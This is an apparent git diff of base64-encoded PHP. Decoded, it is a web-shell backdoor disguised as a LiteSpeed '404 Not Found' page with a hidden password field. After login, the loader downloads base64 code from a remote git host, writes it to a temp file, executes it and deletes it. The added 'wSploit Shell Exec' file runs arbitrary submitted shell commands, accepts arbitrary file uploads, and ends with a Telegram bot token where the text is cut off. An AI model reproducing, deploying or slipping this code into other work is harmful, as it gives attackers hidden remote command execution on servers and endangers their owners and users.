aW5fY2hlY2tlZD0iMSI+CiAgICAgICAgPGgxIHN0eWxlPSJtYXJnaW46MDsgZm9udC1zaXplOjE1
MHB4OyBsaW5lLWhlaWdodDoxNTBweDsgZm9udC13ZWlnaHQ6Ym9sZDsiPjQwNDwvaDE+CiAgICAg
ICAgPGgyIHN0eWxlPSJtYXJnaW4tdG9wOjIwcHg7Zm9udC1zaXplOiAzMHB4OyI+Tm90IEZvdW5k
CiAgICAgICAgPC9oMj4KICAgICAgICA8cD5UaGUgcmVzb3VyY2UgcmVxdWVzdGVkIGNvdWxkIG5v
dCBiZSBmb3VuZCBvbiB0aGlzIHNlcnZlciE8L3A+CiAgICAgICAgPD9waHAgaWYgKCRlcnJvcl9t
ZXNzYWdlKTogPz4KICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiByZWQ7Ij48P3BocCBlY2hv
ICRlcnJvcl9tZXNzYWdlOyA/PjwvcD4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICA8
Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0ia2V5
Ij48L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImlucHV0a2V5IiB0eXBlPSJwYXNz
d29yZCIgbmFtZT0ia2V5IiBpZD0ia2V5IiByZXF1aXJlZD4KICAgICAgICAgICAgCiAgICAgICAg
PC9mb3JtPgogICAgICAgIDwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9ImNvbG9yOiNmMGYwZjA7IGZv
bnQtc2l6ZToxMnB4O21hcmdpbjphdXRvO3BhZGRpbmc6MHB4IDMwcHggMHB4IDMwcHg7cG9zaXRp
b246cmVsYXRpdmU7Y2xlYXI6Ym90aDtoZWlnaHQ6MTAwcHg7bWFyZ2luLXRvcDotMTAxcHg7YmFj
a2dyb3VuZC1jb2xvcjojNDc0NzQ3O2JvcmRlci10b3A6IDFweCBzb2xpZCByZ2JhKDAsMCwwLDAu
MTUpO2JveC1zaGFkb3c6IDAgMXB4IDAgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpIGluc2V0OyIg
YmlzX3NraW5fY2hlY2tlZD0iMSI+CiAgICAgICAgPGJyPlByb3VkbHkgcG93ZXJlZCBieSBMaXRl
U3BlZWQgV2ViIFNlcnZlcjxwPlBsZWFzZSBiZSBhZHZpc2VkIHRoYXQgTGl0ZVNwZWVkIFRlY2hu
b2xvZ2llcyBJbmMuIGlzIG5vdCBhIHdlYiBob3N0aW5nIGNvbXBhbnkgYW5kLCBhcyBzdWNoLCBo
YXMgbm8gY29udHJvbCBvdmVyIGNvbnRlbnQgZm91bmQgb24gdGhpcyBzaXRlLjwvcD48L2Rpdj4K
CiAgICA8L2JvZHk+CiAgICA8L2h0bWw+CiAgICA8P3BocAp9CgovLyBGdW5nc2kgdW50dWsgbWVu
YW1waWxrYW4gaGFsYW1hbiBkYXNoYm9hcmQKZnVuY3Rpb24gc2hvd19kYXNoYm9hcmQoKSB7CiAg
ICA/PgogICAgPCFET0NUWVBFIGh0bWw+CiAgICA8aHRtbCBsYW5nPSJlbiI+CiAgICA8aGVhZD4K
ICAgICAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICAgICAgPG1ldGEgbmFtZT0idmlld3Bv
cnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAg
ICAgIDx0aXRsZT53U3Bsb2l0IFNoZWxsIEV4ZWM8L3RpdGxlPgogICAgPC9oZWFkPgogICAgPGJv
ZHk+CiAgICA8P3BocAoKZnVuY3Rpb24gZ2V0X2NvbnRlbnRzKCR1cmwpIHsKICAgICRjaCA9IGN1
cmxfaW5pdCgkdXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZF
UiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwog
ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgIk1vemlsbGEvNS4wIChXaW5k
b3dzIE5UIDYuMTsgcnY6MzIuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8zMi4wIik7CiAgICBj
dXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOwogICAgY3VybF9zZXRv
cHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICAgICRyZXN1bHQgPSBjdXJsX2V4
ZWMoJGNoKTsKICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIHJldHVybiAkcmVzdWx0Owp9CgokdXJs
ID0gJ2h0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFu
Y2gvbWFpbi9yYXcvZW53c2hlbGwnOwokZW5jb2RlZF9jb2RlID0gZ2V0X2NvbnRlbnRzKCR1cmwp
OwokZGVjb2RlZF9jb2RlID0gYmFzZTY0X2RlY29kZSgkZW5jb2RlZF9jb2RlKTsKCgokdGVtcEZp
bGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ3RtcF9waHBfJyk7CmZpbGVfcHV0X2Nv
bnRlbnRzKCR0ZW1wRmlsZSwgJGRlY29kZWRfY29kZSk7CgoKcmVxdWlyZV9vbmNlICR0ZW1wRmls
ZTsKdW5saW5rKCR0ZW1wRmlsZSk7IAoKPz4KPGEgaHJlZj0iP2FjdGlvbj1sb2dvdXQiPkxvZ291
dDwvYT4KICAgIDwvYm9keT4KICAgIDwvaHRtbD4KICAgIDw/cGhwCn0KCi8vIENlayBhcGFrYWgg
dXNlciBtZW1pbnRhIGxvZ291dAppZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSAmJiAkX0dFVFsn
YWN0aW9uJ10gPT09ICdsb2dvdXQnKSB7CiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIGhlYWRl
cigiTG9jYXRpb246ID8iKTsgLy8gUmVkaXJlY3Qga2UgaGFsYW1hbiBsb2dpbgogICAgZXhpdDsK
fQoKLy8gQ2VrIGFwYWthaCBmb3JtIGxvZ2luIHRlbGFoIGRpLXN1Ym1pdAokZXJyb3JfbWVzc2Fn
ZSA9ICcnOwppZiAoaXNzZXQoJF9QT1NUWydrZXknXSkpIHsKICAgICRpbnB1dF9rZXkgPSAkX1BP
U1RbJ2tleSddOwogICAgJGlucHV0X2tleV9oYXNoID0gbWQ1KCRpbnB1dF9rZXkpOyAvLyBIYXNo
IE1ENSBkYXJpIGtleSB5YW5nIGRpbWFzdWtrYW4KCiAgICAvLyBDZWsgYXBha2FoIGhhc2gga2V5
IHlhbmcgZGltYXN1a2thbiB2YWxpZAogICAgaWYgKCRpbnB1dF9rZXlfaGFzaCA9PT0gJHZhbGlk
X2tleV9oYXNoKSB7CiAgICAgICAgJF9TRVNTSU9OWydsb2dnZWRpbiddID0gdHJ1ZTsKICAgICAg
ICBoZWFkZXIoIkxvY2F0aW9uOiA/Iik7IC8vIFJlZGlyZWN0IGtlIGhhbGFtYW4gbG9naW4gdW50
dWsgcmVmcmVzaAogICAgICAgIGV4aXQ7CiAgICB9IGVsc2UgewogICAgICAgICRlcnJvcl9tZXNz
YWdlID0gIktleSB5YW5nIGRpbWFzdWtrYW4gc2FsYWghIjsgLy8gUGVzYW4ga2VzYWxhaGFuCiAg
ICB9Cn0KCi8vIEppa2Egc3VkYWggbG9naW4sIHRhbXBpbGthbiBkYXNoYm9hcmQKaWYgKGlzc2V0
KCRfU0VTU0lPTlsnbG9nZ2VkaW4nXSkgJiYgJF9TRVNTSU9OWydsb2dnZWRpbiddID09PSB0cnVl
KSB7CiAgICBzaG93X2Rhc2hib2FyZCgpOwp9IGVsc2UgewogICAgLy8gSmlrYSBiZWx1bSBsb2dp
biBhdGF1IGtleSBzYWxhaCwgdGFtcGlsa2FuIGZvcm0gbG9naW4KICAgIHNob3dfbG9naW5fZm9y
bSgkZXJyb3JfbWVzc2FnZSk7Cn0KPz4K

186
raw/enwshell Normal file
View File

@ -0,0 +1,186 @@
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0
PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNl
LXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+d1NwbG9pdCBTaGVsbCBFeGVj
PC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgZm9udC1mYW1p
bHk6ICdDb3VyaWVyIE5ldycsIENvdXJpZXIsIG1vbm9zcGFjZTsKICAgICAgICAgICAgbWFyZ2lu
OiAwOwogICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVu
OyAvKiBNZW55ZW1idW55aWthbiBzY3JvbGxiYXIgKi8KICAgICAgICB9CiAgICAgICAgLmNvbnRh
aW5lciB7CiAgICAgICAgICAgIG1heC13aWR0aDogODAwcHg7CiAgICAgICAgICAgIG1hcmdpbjog
MCBhdXRvOwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIHotaW5k
ZXg6IDEwOyAvKiBBZ2FyIGtvbnRlbiBkaSBhdGFzIGh1amFuIG1hdHJpa3MgKi8KICAgICAgICB9
CiAgICAgICAgLnRlcm1pbmFsIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgz
MCwgMzAsIDMwLCAwLjgpOyAvKiBUcmFuc3BhcmFuIHNlZGlraXQgKi8KICAgICAgICAgICAgY29s
b3I6ICNmZmZmZmY7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7CiAgICAgICAgICAgIGJvcmRl
ci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdo
dDogMzAwcHg7CiAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87CiAgICAgICAgICAgIG1hcmdp
bi1ib3R0b206IDIwcHg7CiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsKICAgICAg
ICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CiAgICAgICAgLm91dHB1dC1z
dWNjZXNzIHsKICAgICAgICAgICAgY29sb3I6ICMwZjA7IC8qIFdhcm5hIGhpamF1IHVudHVrIG91
dHB1dCBzdWtzZXMgKi8KICAgICAgICB9CiAgICAgICAgLm91dHB1dC1lcnJvciB7CiAgICAgICAg
ICAgIGNvbG9yOiAjZjAwOyAvKiBXYXJuYSBtZXJhaCB1bnR1ayBvdXRwdXQgZXJyb3IgKi8KICAg
ICAgICB9CiAgICAgICAgLmlucHV0IHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAg
ICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAg
ICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQg
I2NjYzsKICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICAgICAgZm9u
dC1mYW1pbHk6ICdDb3VyaWVyIE5ldycsIENvdXJpZXIsIG1vbm9zcGFjZTsKICAgICAgICB9CiAg
ICAgICAgLnN1Ym1pdC1idG4gewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDIwcHg7CiAgICAg
ICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDdCRkY7CiAgICAgICAgICAgIGNvbG9yOiAjZmZm
OwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNw
eDsKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICB3aWR0aDogMTAwJTsK
ICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CiAgICAgICAgQG1l
ZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7CiAgICAgICAgICAgIC5zdWJtaXQtYnRuIHsKICAgICAg
ICAgICAgICAgIHdpZHRoOiBhdXRvOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8q
IEdheWEgdW50dWsgZWZlayBodWphbiBtYXRyaWtzICovCiAgICAgICAgLm1hdHJpeC1yYWluIHsK
ICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IDA7CiAgICAg
ICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBoZWln
aHQ6IDEwMCU7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgIHotaW5k
ZXg6IDE7IC8qIERpIGJhd2FoIGtvbnRlbiB1dGFtYSAqLwogICAgICAgIH0KICAgICAgICBjYW52
YXMgewogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsgLyogTWVuZ2hpbGFuZ2thbiBzcGFzaSBk
aSBiYXdhaCBjYW52YXMgKi8KICAgICAgICB9CiAgICAgICAgLyogR2F5YSB1bnR1ayBsb2dvICov
CiAgICAgICAgLmxvZ28gewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAg
ICAgIHRvcDogMjBweDsgLyogSmFyYWsgZGFyaSBhdGFzICovCiAgICAgICAgICAgIHJpZ2h0OiAy
MHB4OyAvKiBKYXJhayBkYXJpIGthbmFuICovCiAgICAgICAgICAgIHdpZHRoOiA2MHB4OyAvKiBV
a3VyYW4gbG9nbyAqLwogICAgICAgICAgICBoZWlnaHQ6IDYwcHg7IC8qIFVrdXJhbiBsb2dvICov
CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTsgLyogTWVtYnVhdCBsb2dvIGJlcmJlbnR1
ayBidWxhdCAqLwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAvKiBNZW55ZW1idW55aWth
biBiYWdpYW4gbG9nbyB5YW5nIGxlYmloIGRhcmkgYmVudHVrIGJ1bGF0ICovCiAgICAgICAgICAg
IGJveC1zaGFkb3c6IDAgMCAxNXB4IHJnYmEoMCwgMCwgMCwgMC41KTsgLyogRWZlayBiYXlhbmdh
biAqLwogICAgICAgICAgICB6LWluZGV4OiAxMDsgLyogRGkgYXRhcyBlbGVtZW4gbGFpbiAqLwog
ICAgICAgIH0KICAgICAgICAubG9nbyBpbWcgewogICAgICAgICAgICB3aWR0aDogMTAwJTsgLyog
TWVuZ2lzaSBlbGVtZW4gbG9nbyAqLwogICAgICAgICAgICBoZWlnaHQ6IGF1dG87IC8qIE1lbmph
Z2EgcmFzaW8gYXNwZWsgKi8KICAgICAgICB9CiAgICAgICAgLyogR2F5YSB1bnR1ayB0ZWtzIGp1
ZHVsICovCiAgICAgICAgLnR5cGluZy1lZmZlY3QgewogICAgICAgICAgICBjb2xvcjogIzBGMDsg
LyogV2FybmEgaGlqYXUgKi8KICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4OyAvKiBVa3VyYW4g
Zm9udCBqdWR1bCAqLwogICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOyAvKiBNZW5jZWdh
aCBwZW1pc2FoYW4ga2F0YSAqLwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAvKiBNZW55
ZW1idW55aWthbiBiYWdpYW4geWFuZyB0aWRhayB0ZXJsaWhhdCAqLwogICAgICAgICAgICBib3Jk
ZXItcmlnaHQ6IDNweCBzb2xpZCAjMEYwOyAvKiBFZmVrIGt1cnNvciAqLwogICAgICAgICAgICBh
bmltYXRpb246IGJsaW5rIDFzIHN0ZXAtZW5kIGluZmluaXRlOyAvKiBFZmVrIGJlcmtlZGlwICov
CiAgICAgICAgfQogICAgICAgIC8qIEFuaW1hc2kgYmVya2VkaXAgKi8KICAgICAgICBAa2V5ZnJh
bWVzIGJsaW5rIHsKICAgICAgICAgICAgNTAlIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xv
cjogdHJhbnNwYXJlbnQ7IC8qIFNlbWJ1bnlpa2FuIGt1cnNvciBzYWF0IGJlcmtlZGlwICovCiAg
ICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLmgxLWhlYWQgewogICAgICAgICAgICBjb2xv
cjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlcjogc29saWQgMXB4ICMwZjA7CiAgICAgICAgfQog
ICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KCjxkaXYgY2xhc3M9Im1hdHJpeC1yYWluIj4KICAg
IDxjYW52YXMgaWQ9ImNhbnZhcyI+PC9jYW52YXM+CjwvZGl2PgoKPGRpdiBjbGFzcz0iY29udGFp
bmVyIj4KICAgIDxoMSBjbGFzcz0iaDEtaGVhZCIgYWxpZ249ImNlbnRlciI+d1NwbG9pdCBTaGVs
bCBFeGVjPC9oMT4gICAgCiAgICA8ZGl2IGNsYXNzPSJ0eXBpbmctZWZmZWN0IiBpZD0idHlwaW5n
LXRpdGxlIj48L2Rpdj4gPCEtLSBUZW1wYXQganVkdWwgZGVuZ2FuIGVmZWsga2V0aWsgLS0+Cgog
ICAgPCEtLSBMb2dvIC0tPgogICAgPGRpdiBjbGFzcz0ibG9nbyI+CiAgICAgICAgPGltZyBzcmM9
Imh0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gv
bWFpbi9pbWcvd3NwbG9pdC5qcGVnIiBhbHQ9IkxvZ28iPgogICAgPC9kaXY+CgogICAgPCEtLSBU
ZXJtaW5hbCBPdXRwdXQgU2VjdGlvbiAtLT4KICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsIj4KICAg
ICAgICA8cHJlPgogICAgICAgIDw/cGhwCiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01F
VEhPRCddID09PSAnUE9TVCcpIHsKICAgICAgICAgICAgLy8gSmlrYSBwZXJtaW50YWFuIHVudHVr
IGVrc2VrdXNpIHBlcmludGFoCiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2NvbW1hbmQn
XSkpIHsKICAgICAgICAgICAgICAgICRjb21tYW5kID0gJF9QT1NUWydjb21tYW5kJ107CgogICAg
ICAgICAgICAgICAgLy8gRmlsdGVyIHBlcmludGFoIHVudHVrIGtlYW1hbmFuCiAgICAgICAgICAg
ICAgICBpZiAoIWVtcHR5KCRjb21tYW5kKSkgewogICAgICAgICAgICAgICAgICAgIC8vIEVrc2Vr
dXNpIHBlcmludGFoIG1lbmdndW5ha2FuIHNoZWxsX2V4ZWMKICAgICAgICAgICAgICAgICAgICAk
b3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAg
ICAgIGlmICgkb3V0cHV0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNs
YXNzPSdvdXRwdXQtc3VjY2Vzcyc+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJG91dHB1dCkgLiAiPC9z
cGFuPiI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPHNwYW4gY2xhc3M9J291dHB1dC1lcnJvcic+VGlkYWsgYWRhIG91dHB1dCBhdGF1
IHBlcmludGFoIHRpZGFrIHZhbGlkITwvc3Bhbj4iOwogICAgICAgICAgICAgICAgICAgIH0KICAg
ICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xh
c3M9J291dHB1dC1lcnJvcic+TWFzdWtrYW4gcGVyaW50YWggeWFuZyB2YWxpZCE8L3NwYW4+IjsK
ICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gSmlr
YSBwZXJtaW50YWFuIHVudHVrIHVuZ2dhaCBmaWxlCiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFV
RVNUX01FVEhPRCddID09PSAnUE9TVCcgJiYgaXNzZXQoJF9GSUxFU1snZmlsZSddKSkgewogICAg
ICAgICAgICAkZmlsZSA9ICRfRklMRVNbJ2ZpbGUnXTsKICAgICAgICAgICAgJHVwbG9hZERpcmVj
dG9yeSA9ICd1cGxvYWRzLyc7CgogICAgICAgICAgICAvLyBCdWF0IGRpcmVrdG9yaSBqaWthIGJl
bHVtIGFkYQogICAgICAgICAgICBpZiAoIWlzX2RpcigkdXBsb2FkRGlyZWN0b3J5KSkgewogICAg
ICAgICAgICAgICAgbWtkaXIoJHVwbG9hZERpcmVjdG9yeSwgMDc1NSwgdHJ1ZSk7CiAgICAgICAg
ICAgIH0KCiAgICAgICAgICAgICRmaWxlUGF0aCA9ICR1cGxvYWREaXJlY3RvcnkgLiBiYXNlbmFt
ZSgkZmlsZVsnbmFtZSddKTsKICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkZmls
ZVsndG1wX25hbWUnXSwgJGZpbGVQYXRoKSkgewogICAgICAgICAgICAgICAgZWNobyAiPHNwYW4g
Y2xhc3M9J291dHB1dC1zdWNjZXNzJz5GaWxlIGJlcmhhc2lsIGRpdW5nZ2FoOiAiIC4gaHRtbHNw
ZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKSAuICI8L3NwYW4+XG4iOwogICAgICAgICAgICB9IGVs
c2UgewogICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xhc3M9J291dHB1dC1lcnJvcic+VGVy
amFkaSBrZXNhbGFoYW4gc2FhdCBtZW5ndW5nZ2FoIGZpbGUhPC9zcGFuPlxuIjsKICAgICAgICAg
ICAgfQogICAgICAgIH0KICAgICAgICA/PgogICAgICAgIDwvcHJlPgogICAgPC9kaXY+CgogICAg
PCEtLSBJbnB1dCBGb3JtIGZvciBUZXJtaW5hbCBDb21tYW5kIC0tPgogICAgPGZvcm0gbWV0aG9k
PSJQT1NUIj4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgY2xhc3M9
ImlucHV0IiBwbGFjZWhvbGRlcj0iTWFzdWtrYW4gcGVyaW50YWggdGVybWluYWwiIHJlcXVpcmVk
PgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0LWJ0biI+RWtzZWt1
c2kgUGVyaW50YWg8L2J1dHRvbj4KICAgIDwvZm9ybT4KCiAgICA8YnI+CgogICAgPCEtLSBJbnB1
dCBGb3JtIGZvciBGaWxlIFVwbG9hZCAtLT4KICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlw
ZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9
ImZpbGUiIGNsYXNzPSJpbnB1dCIgYWNjZXB0PSIqLyoiPgogICAgICAgIDxidXR0b24gdHlwZT0i
c3VibWl0IiBjbGFzcz0ic3VibWl0LWJ0biI+VW5nZ2FoIEZpbGU8L2J1dHRvbj4KICAgIDwvZm9y
bT4KPC9kaXY+Cgo8c2NyaXB0PgogICAgLy8gRWZlayBLcmF0b20gdW50dWsgTmdlZmx5IG11cmFo
YW4KICAgIGNvbnN0IHRpdGxlID0gIldlYiBUZXJtaW5hbCBJbnRlcmZhY2UiOwogICAgY29uc3Qg
dHlwaW5nVGl0bGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHlwaW5nLXRpdGxlJyk7CiAg
ICBsZXQgaW5kZXggPSAwOwoKICAgIGZ1bmN0aW9uIHR5cGUoKSB7CiAgICAgICAgaWYgKGluZGV4
IDwgdGl0bGUubGVuZ3RoKSB7CiAgICAgICAgICAgIHR5cGluZ1RpdGxlLnRleHRDb250ZW50ICs9
IHRpdGxlLmNoYXJBdChpbmRleCk7CiAgICAgICAgICAgIGluZGV4Kys7CiAgICAgICAgICAgIHNl
dFRpbWVvdXQodHlwZSwgMTAwKTsgLy8gS2VjZXBhdGFuIENpbnRha3UgcGFkYW11IAogICAgICAg
IH0KICAgIH0KICAgIHR5cGUoKTsgLy8gTXVsYWkgZWZlayBDaXUKCiAgICBjbGFzcyBNYXRyaXhS
YWluIHsKICAgICAgICBjb25zdHJ1Y3RvcihjYW52YXMsIHdpZHRoLCBoZWlnaHQsIGNoYXJzLCBz
cGVlZCwgb3BhY2l0eSkgewogICAgICAgICAgICB0aGlzLmNhbnZhcyA9IGNhbnZhczsKICAgICAg
ICAgICAgdGhpcy5jdHggPSBjYW52YXMuZ2V0Q29udGV4dCgnMmQnKTsKICAgICAgICAgICAgdGhp
cy5jaGFycyA9IGNoYXJzOwogICAgICAgICAgICB0aGlzLnNwZWVkID0gc3BlZWQ7CiAgICAgICAg
ICAgIHRoaXMub3BhY2l0eSA9IG9wYWNpdHk7CiAgICAgICAgICAgIHRoaXMuY29sdW1ucyA9IE1h
dGguZmxvb3Iod2lkdGggLyAyMCk7CiAgICAgICAgICAgIHRoaXMuZHJvcHMgPSBBcnJheSh0aGlz
LmNvbHVtbnMpLmZpbGwoMSk7CiAgICAgICAgICAgIHRoaXMuaW5pdCgpOwogICAgICAgIH0KCiAg
ICAgICAgaW5pdCgpIHsKICAgICAgICAgICAgdGhpcy5jYW52YXMud2lkdGggPSB3aW5kb3cuaW5u
ZXJXaWR0aDsKICAgICAgICAgICAgdGhpcy5jYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVp
Z2h0OwogICAgICAgICAgICB0aGlzLnN0YXJ0UmFpbigpOwogICAgICAgIH0KCiAgICAgICAgc3Rh
cnRSYWluKCkgewogICAgICAgICAgICBzZXRJbnRlcnZhbCgoKSA9PiB7CiAgICAgICAgICAgICAg
ICB0aGlzLmN0eC5maWxsU3R5bGUgPSBgcmdiYSgwLCAwLCAwLCAke3RoaXMub3BhY2l0eX0pYDsK
ICAgICAgICAgICAgICAgIHRoaXMuY3R4LmZpbGxSZWN0KDAsIDAsIHRoaXMuY2FudmFzLndpZHRo
LCB0aGlzLmNhbnZhcy5oZWlnaHQpOwogICAgICAgICAgICAgICAgdGhpcy5jdHguZmlsbFN0eWxl
ID0gJyMwRjAnOyAvLyBXYXJuYSBoaWphdSB1bnR1ayBrYXJha3RlcgogICAgICAgICAgICAgICAg
dGhpcy5jdHguZm9udCA9ICcyMHB4IG1vbm9zcGFjZSc7CiAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgdGhpcy5jb2x1bW5zOyBpKyspIHsKICAgICAg
ICAgICAgICAgICAgICBjb25zdCB0ZXh0ID0gdGhpcy5jaGFyc1tNYXRoLmZsb29yKE1hdGgucmFu
ZG9tKCkgKiB0aGlzLmNoYXJzLmxlbmd0aCldOwogICAgICAgICAgICAgICAgICAgIGNvbnN0IHgg
PSBpICogMjA7CiAgICAgICAgICAgICAgICAgICAgY29uc3QgeSA9IHRoaXMuZHJvcHNbaV0gKiAy
MDsKCiAgICAgICAgICAgICAgICAgICAgdGhpcy5jdHguZmlsbFRleHQodGV4dCwgeCwgeSk7CiAg
ICAgICAgICAgICAgICAgICAgaWYgKHkgPiB0aGlzLmNhbnZhcy5oZWlnaHQgJiYgTWF0aC5yYW5k
b20oKSA+IDAuOTc1KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRoaXMuZHJvcHNbaV0gPSAw
OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB0aGlzLmRyb3BzW2ld
Kys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sIHRoaXMuc3BlZWQpOwogICAgICAg
IH0KICAgIH0KCiAgICAvLyBNZW5qYWxhbmthbiBNYXRyaXggUmFpbgogICAgY29uc3QgbWF0cml4
UmFpbiA9IG5ldyBNYXRyaXhSYWluKAogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdj
YW52YXMnKSwKICAgICAgICB3aW5kb3cuaW5uZXJXaWR0aCwKICAgICAgICB3aW5kb3cuaW5uZXJI
ZWlnaHQsCiAgICAgICAgWwogICAgICAgICAgICAnMCcsJzEnLCcyJywnMycsJzQnLCc1JywnNics
JzcnLCc4JywnOScsCiAgICAgICAgICAgICdhJywnYicsJ2MnLCdkJywnZScsJ2YnLCdnJywnaCcs
J2knLCdqJywnaycsJ2wnLCdtJywnbicsJ28nLCdwJywncScsJ3InLCdzJywndCcsJ3UnLCd2Jywn
dycsJ3gnLCd5JywneicKICAgICAgICBdLAogICAgICAgIDUwLCAvLyBLZWNlcGF0YW4gaHVqYW4K
ICAgICAgICAwLjA1IC8vIE9wYXNpdGFzIGxhdGFyIGJlbGFrYW5nCiAgICApOwoKPC9zY3JpcHQ+
Cjw/cGhwCnNlc3Npb25fc3RhcnQoKTsgLy8gTWVtdWxhaSBzZXNzaW9uCgovLyBUb2tlbiBib3Qg
ZGFuIGNoYXQgSUQKJGJvdF90b2tlbiA9ICc3NjEzMTExMDkyOkFBRmw4cWYydGx3NG9uODdlUUJ5
